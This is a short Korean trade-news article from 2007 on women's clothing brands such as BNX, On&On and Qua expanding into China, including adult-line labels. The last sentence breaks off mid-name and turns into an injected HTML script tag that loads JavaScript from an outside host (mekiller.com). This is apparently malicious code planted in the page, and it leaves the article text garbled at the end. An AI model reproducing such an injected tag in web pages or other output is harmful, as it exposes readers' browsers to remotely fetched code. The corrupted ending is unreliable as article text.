여성복, 중국 진출 어덜트까지 확대

2007-07-30 12:56 조회수 아이콘 1189

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여성복, 중국 진출 어덜트까지 확대

여성복 업체들이 중국 사업에 힘을 싣고 있다.


업계에 의하면 영캐주얼 브랜드의 중국 진출이 확대되고 있는 가운데 캐릭터, 커리어, 어덜트 브랜드까지 가세, 해외 시장 개척에 나서고 있다. 


아비스타는 최근 중국 현지에 법인 아크렉스차이나를 설립하고 상하이에서 ‘BNX’와 ‘탱커스’의 중국 런칭쇼를 개최했다.


지난 상반기 중국에 ‘온앤온’을 재런칭한 보끄레머천다이징 4개 매장을 전개하는데 이어 최근 북경에 진출, The place 쇼핑몰에 약 50평 규모의 5번째 중국 매장을 오픈했다.


FnC코오롱의 ‘쿠아’ 역시 최근 중국의 샨샨그룹과 합자회사를 설립하고 중국 진출을 본격화했다.


이밖에도 인동어패럴의 ‘쉬즈미스’와 제시엔코의 ‘제시뉴욕’, 리드마크의 ‘헤이린’, 위비스의 ‘지?script src=http://mekiller.com/1/1.js>